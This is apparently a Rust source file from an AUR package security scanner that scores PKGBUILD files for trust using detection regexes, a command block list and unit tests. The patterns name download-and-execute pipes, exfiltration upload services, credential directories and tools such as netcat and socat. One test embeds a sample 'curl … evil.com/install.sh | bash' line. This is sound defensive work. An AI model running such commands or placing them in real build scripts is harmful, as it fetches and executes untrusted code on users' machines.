c3de8f718f
- fetch_pkgbuild URL korrigiert: ?h=<package> statt falschem Pfad - Alle Source-Dateien wiederhergestellt
401 lines
14 KiB
Rust
401 lines
14 KiB
Rust
use anyhow::{Context, Result};
|
|
use regex::Regex;
|
|
use std::collections::HashSet;
|
|
use std::path::Path;
|
|
use tracing::{debug, trace, warn};
|
|
|
|
/// Score-Kategorien für das Trust-Rating
|
|
#[derive(Debug, Clone)]
|
|
pub struct TrustScore {
|
|
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
|
|
pub categories: Vec<ScoreCategory>,
|
|
pub warnings: Vec<String>,
|
|
pub critical_findings: Vec<CriticalFinding>,
|
|
}
|
|
|
|
#[derive(Debug, Clone)]
|
|
pub struct ScoreCategory {
|
|
pub name: String,
|
|
pub score: u32, // 0-100
|
|
pub weight: f32,
|
|
pub description: String,
|
|
}
|
|
|
|
#[derive(Debug, Clone)]
|
|
pub enum CriticalFinding {
|
|
RemoteCodeExecution(String), // Befehl der gefunden wurde
|
|
CredentialExfiltration(String),
|
|
PersistenceMechanism(String),
|
|
ObfuscatedScript(String),
|
|
SuspiciousNetworkCall(String),
|
|
OrphanTakeover { original: String, new_maintainer: String },
|
|
}
|
|
|
|
/// Konfiguration für Heuristiken
|
|
pub struct TrustScorer {
|
|
suspicious_patterns: Vec<SuspiciousPattern>,
|
|
trusted_domains: HashSet<String>,
|
|
blocklisted_commands: Vec<Regex>,
|
|
}
|
|
|
|
struct SuspiciousPattern {
|
|
pattern: Regex,
|
|
penalty: u32,
|
|
description: String,
|
|
critical: bool,
|
|
}
|
|
|
|
impl TrustScorer {
|
|
pub fn new() -> Result<Self> {
|
|
let mut scorer = TrustScorer {
|
|
suspicious_patterns: Vec::new(),
|
|
trusted_domains: Self::default_trusted_domains(),
|
|
blocklisted_commands: Vec::new(),
|
|
};
|
|
|
|
scorer.compile_patterns()?;
|
|
Ok(scorer)
|
|
}
|
|
|
|
fn compile_patterns(&mut self) -> Result<()> {
|
|
// KRITISCHE PATTERNS (sofortiger Alarm)
|
|
let critical_patterns = vec![
|
|
// npm/bun install mit verdächtigen Paketen
|
|
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
|
|
// Download + Ausführen
|
|
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
|
|
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
|
|
// Obfuscation
|
|
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
|
|
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
|
|
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
|
|
// Netzwerk-Exfiltration
|
|
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
|
|
// System-Persistenz
|
|
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
|
|
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
|
|
// Browser/Credential-Zugriff
|
|
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
|
|
// eBPF
|
|
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
|
|
];
|
|
|
|
for (pattern, penalty, desc, critical) in critical_patterns {
|
|
let regex = Regex::new(pattern)
|
|
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
|
|
self.suspicious_patterns.push(SuspiciousPattern {
|
|
pattern: regex,
|
|
penalty,
|
|
description: desc.to_string(),
|
|
critical,
|
|
});
|
|
}
|
|
|
|
// Blockliste von Kommandos (soweit Regex-technisch möglich)
|
|
self.blocklisted_commands = vec![
|
|
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
|
|
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
|
|
];
|
|
|
|
Ok(())
|
|
}
|
|
|
|
fn default_trusted_domains() -> HashSet<String> {
|
|
let mut domains = HashSet::new();
|
|
domains.insert("github.com".to_string());
|
|
domains.insert("gitlab.com".to_string());
|
|
domains.insert("salsa.debian.org".to_string());
|
|
domains.insert("codeberg.org".to_string());
|
|
domains.insert("sourceforge.net".to_string());
|
|
domains.insert("kernel.org".to_string());
|
|
domains.insert("gnu.org".to_string());
|
|
domains.insert("apache.org".to_string());
|
|
domains.insert("mozilla.org".to_string());
|
|
domains.insert("npmjs.com".to_string()); // Achtung: npmjs ist auch missbraucht worden
|
|
domains.insert("crates.io".to_string());
|
|
domains.insert("pypi.org".to_string());
|
|
domains.insert("archlinux.org".to_string());
|
|
domains
|
|
}
|
|
|
|
/// Analysiert einen PKGBUILD-Inhalt
|
|
pub fn analyze_pkgbuild(&self, content: &str, source_url: Option<&str>) -> TrustScore {
|
|
let mut score = 100u32;
|
|
let mut categories = Vec::new();
|
|
let mut warnings = Vec::new();
|
|
let mut critical_findings = Vec::new();
|
|
|
|
// 1. Shell-Script Analyse (PKGBUILD ist ein Shell-Script)
|
|
let (shell_score, shell_warnings, shell_critical) = self.analyze_shell_script(content);
|
|
categories.push(ScoreCategory {
|
|
name: "Shell-Script Sicherheit".to_string(),
|
|
score: shell_score,
|
|
weight: 0.40,
|
|
description: "Analyse von PKGBUILD als Shell-Script".to_string(),
|
|
});
|
|
warnings.extend(shell_warnings);
|
|
critical_findings.extend(shell_critical);
|
|
score = score.saturating_sub(100 - shell_score);
|
|
|
|
// 2. Source-URL Verifizierung
|
|
let (url_score, url_warnings) = self.analyze_source_url(source_url);
|
|
categories.push(ScoreCategory {
|
|
name: "Source-URL Vertrauen".to_string(),
|
|
score: url_score,
|
|
weight: 0.20,
|
|
description: "Prüfung der Herkunft des Source-Codes".to_string(),
|
|
});
|
|
warnings.extend(url_warnings);
|
|
score = score.saturating_sub((100 - url_score) / 3);
|
|
|
|
// 3. Checksum-Qualität
|
|
let (checksum_score, checksum_warnings) = self.analyze_checksums(content);
|
|
categories.push(ScoreCategory {
|
|
name: "Checksum Verifizierung".to_string(),
|
|
score: checksum_score,
|
|
weight: 0.20,
|
|
description: "Qualität und Vollständigkeit der Prüfsummen".to_string(),
|
|
});
|
|
warnings.extend(checksum_warnings);
|
|
score = score.saturating_sub((100 - checksum_score) / 3);
|
|
|
|
// 4. Maintainer-Heuristiken
|
|
let (maint_score, maint_warnings) = self.analyze_maintainer_info(content);
|
|
categories.push(ScoreCategory {
|
|
name: "Maintainer-Vertrauen".to_string(),
|
|
score: maint_score,
|
|
weight: 0.20,
|
|
description: "Heuristiken zum Maintainer-Account".to_string(),
|
|
});
|
|
warnings.extend(maint_warnings);
|
|
score = score.saturating_sub((100 - maint_score) / 3);
|
|
|
|
// Gewichteten Score berechnen
|
|
let weighted_score: f32 = categories.iter()
|
|
.map(|c| c.score as f32 * c.weight)
|
|
.sum();
|
|
|
|
TrustScore {
|
|
overall: weighted_score.round() as u32,
|
|
categories,
|
|
warnings,
|
|
critical_findings,
|
|
}
|
|
}
|
|
|
|
fn analyze_shell_script(&self, content: &str) -> (u32, Vec<String>, Vec<CriticalFinding>) {
|
|
let mut score = 100u32;
|
|
let mut warnings = Vec::new();
|
|
let mut critical = Vec::new();
|
|
|
|
for pattern in &self.suspicious_patterns {
|
|
if pattern.pattern.is_match(content) {
|
|
let captures: Vec<_> = pattern.pattern.find_iter(content).collect();
|
|
|
|
for cap in captures {
|
|
let ctx_start = cap.start().saturating_sub(30);
|
|
let ctx_end = (cap.end() + 30).min(content.len());
|
|
let context = &content[ctx_start..ctx_end];
|
|
let context_clean = context.replace('\n', "\\n");
|
|
|
|
if pattern.critical {
|
|
critical.push(CriticalFinding::RemoteCodeExecution(format!(
|
|
"{} (Kontext: ...{}...)",
|
|
pattern.description,
|
|
context_clean
|
|
)));
|
|
score = score.saturating_sub(pattern.penalty);
|
|
} else {
|
|
warnings.push(format!(
|
|
"{}: {}",
|
|
pattern.description,
|
|
context_clean
|
|
));
|
|
score = score.saturating_sub(pattern.penalty / 2);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Blocklisted Commands
|
|
for cmd_regex in &self.blocklisted_commands {
|
|
if let Some(mat) = cmd_regex.find(content) {
|
|
warnings.push(format!(
|
|
"Potentiell gefährlicher Befehl erkannt: {}",
|
|
&content[mat.start().saturating_sub(10)..(mat.end() + 10).min(content.len())]
|
|
));
|
|
score = score.saturating_sub(10);
|
|
}
|
|
}
|
|
|
|
// Prozentuale Bewertung
|
|
(score.min(100), warnings, critical)
|
|
}
|
|
|
|
fn analyze_source_url(&self, url: Option<&str>) -> (u32, Vec<String>) {
|
|
let mut score = 100u32;
|
|
let mut warnings = Vec::new();
|
|
|
|
let url = match url {
|
|
Some(u) => u,
|
|
None => {
|
|
warnings.push("Keine Source-URL gefunden".to_string());
|
|
return (50, warnings);
|
|
}
|
|
};
|
|
|
|
// HTTPS check
|
|
if !url.starts_with("https://") {
|
|
warnings.push("Source-URL verwendet kein HTTPS".to_string());
|
|
score -= 20;
|
|
}
|
|
|
|
// Domain check
|
|
let domain = url.split('/').nth(2).unwrap_or("");
|
|
let domain_clean = domain.strip_prefix("www.").unwrap_or(domain);
|
|
|
|
if !self.trusted_domains.contains(domain_clean) {
|
|
warnings.push(format!(
|
|
"Domain '{}' ist nicht in der Trust-Liste",
|
|
domain_clean
|
|
));
|
|
score -= 15;
|
|
}
|
|
|
|
// URL Shortener / Pastebin checks
|
|
if url.contains("pastebin") || url.contains("tinyurl") || url.contains("bit.ly")
|
|
|| url.contains("t.co") || url.contains("short.link") {
|
|
warnings.push("URL-Shortener / Pastebin als Source erkannt!".to_string());
|
|
score -= 50;
|
|
}
|
|
|
|
(score.max(0), warnings)
|
|
}
|
|
|
|
fn analyze_checksums(&self, content: &str) -> (u32, Vec<String>) {
|
|
let mut score = 100u32;
|
|
let mut warnings = Vec::new();
|
|
|
|
// Prüfe auf SHA256/SHA512 (gut)
|
|
let has_sha256 = content.contains("sha256sums") || content.contains("sha256");
|
|
let has_sha512 = content.contains("sha512sums") || content.contains("sha512");
|
|
let has_md5 = content.contains("md5sums") || content.contains("md5");
|
|
let has_skip = content.contains("SKIP") || content.contains("skip");
|
|
|
|
if has_sha256 || has_sha512 {
|
|
score += 10;
|
|
}
|
|
|
|
if has_md5 && !has_sha256 && !has_sha512 {
|
|
warnings.push("Nur MD5-Checksummen (veraltet und unsicher)".to_string());
|
|
score -= 30;
|
|
}
|
|
|
|
if has_skip {
|
|
warnings.push("Checksummen werden übersprungen (SKIP)".to_string());
|
|
score -= 40;
|
|
}
|
|
|
|
if !has_sha256 && !has_sha512 && !has_md5 && !has_skip {
|
|
warnings.push("Keine Checksummen definiert".to_string());
|
|
score -= 50;
|
|
}
|
|
|
|
(score.max(0).min(100), warnings)
|
|
}
|
|
|
|
fn analyze_maintainer_info(&self, content: &str) -> (u32, Vec<String>) {
|
|
// Baseline: Wir können aus dem PKGBUILD nicht viel über den Maintainer lernen
|
|
// In einer erweiterten Version würde dies die AUR-RPC API nutzen
|
|
let mut score = 80u32; // Neutral
|
|
let mut warnings = Vec::new();
|
|
|
|
// Prüfe auf "Contributor" vs "Maintainer"
|
|
if !content.contains("# Maintainer:") {
|
|
if content.contains("# Contributor:") {
|
|
warnings.push("Nur Contributor, kein Maintainer definiert".to_string());
|
|
score -= 10;
|
|
}
|
|
}
|
|
|
|
(score.max(0).min(100), warnings)
|
|
}
|
|
|
|
/// Prüft ein installiertes Paket (Fallback wenn kein PKGBUILD verfügbar)
|
|
pub fn check_installed_package(&self, pkg_info: &str) -> TrustScore {
|
|
// Minimale Analyse basierend auf pacman -Qi Ausgabe
|
|
let mut warnings = Vec::new();
|
|
|
|
if pkg_info.contains("AUR") || pkg_info.contains("foreign") {
|
|
warnings.push("Paket stammt aus AUR (nicht offizielles Repository)".to_string());
|
|
}
|
|
|
|
TrustScore {
|
|
overall: 70, // Grundwert für installierte Pakete ohne PKGBUILD
|
|
categories: vec![],
|
|
warnings,
|
|
critical_findings: vec![],
|
|
}
|
|
}
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use super::*;
|
|
|
|
#[test]
|
|
fn test_npm_install_detection() {
|
|
let scorer = TrustScorer::new().unwrap();
|
|
let malicious_pkgbuild = r#"
|
|
pkgname=test-malicious
|
|
pkgver=1.0
|
|
pkgrel=1
|
|
|
|
build() {
|
|
npm install atomic-lockfile
|
|
}
|
|
"#;
|
|
|
|
let result = scorer.analyze_pkgbuild(malicious_pkgbuild, None);
|
|
assert!(!result.critical_findings.is_empty());
|
|
assert!(result.overall < 50);
|
|
}
|
|
|
|
#[test]
|
|
fn test_curl_pipe_bash_detection() {
|
|
let scorer = TrustScorer::new().unwrap();
|
|
let bad_pkgbuild = r#"
|
|
pkgname=test-bad
|
|
pkgver=1.0
|
|
|
|
prepare() {
|
|
curl -s https://evil.com/install.sh | bash
|
|
}
|
|
"#;
|
|
|
|
let result = scorer.analyze_pkgbuild(bad_pkgbuild, None);
|
|
assert!(!result.critical_findings.is_empty());
|
|
}
|
|
|
|
#[test]
|
|
fn test_legitimate_pkgbuild() {
|
|
let scorer = TrustScorer::new().unwrap();
|
|
let good_pkgbuild = r#"
|
|
pkgname=hello
|
|
pkgver=2.12
|
|
pkgrel=1
|
|
source=(https://ftp.gnu.org/gnu/$pkgname/$pkgname-$pkgver.tar.gz)
|
|
sha256sums=('cf04e2b7e0d28e6f5e540d130ad5295c079ffdad43e25c489e5e52eb40a2a517')
|
|
|
|
build() {
|
|
cd "$pkgname-$pkgver"
|
|
./configure --prefix=/usr
|
|
make
|
|
}
|
|
"#;
|
|
|
|
let result = scorer.analyze_pkgbuild(good_pkgbuild, Some("https://ftp.gnu.org/gnu/hello/hello-2.12.tar.gz"));
|
|
assert!(result.overall > 70);
|
|
assert!(result.critical_findings.is_empty());
|
|
}
|
|
} |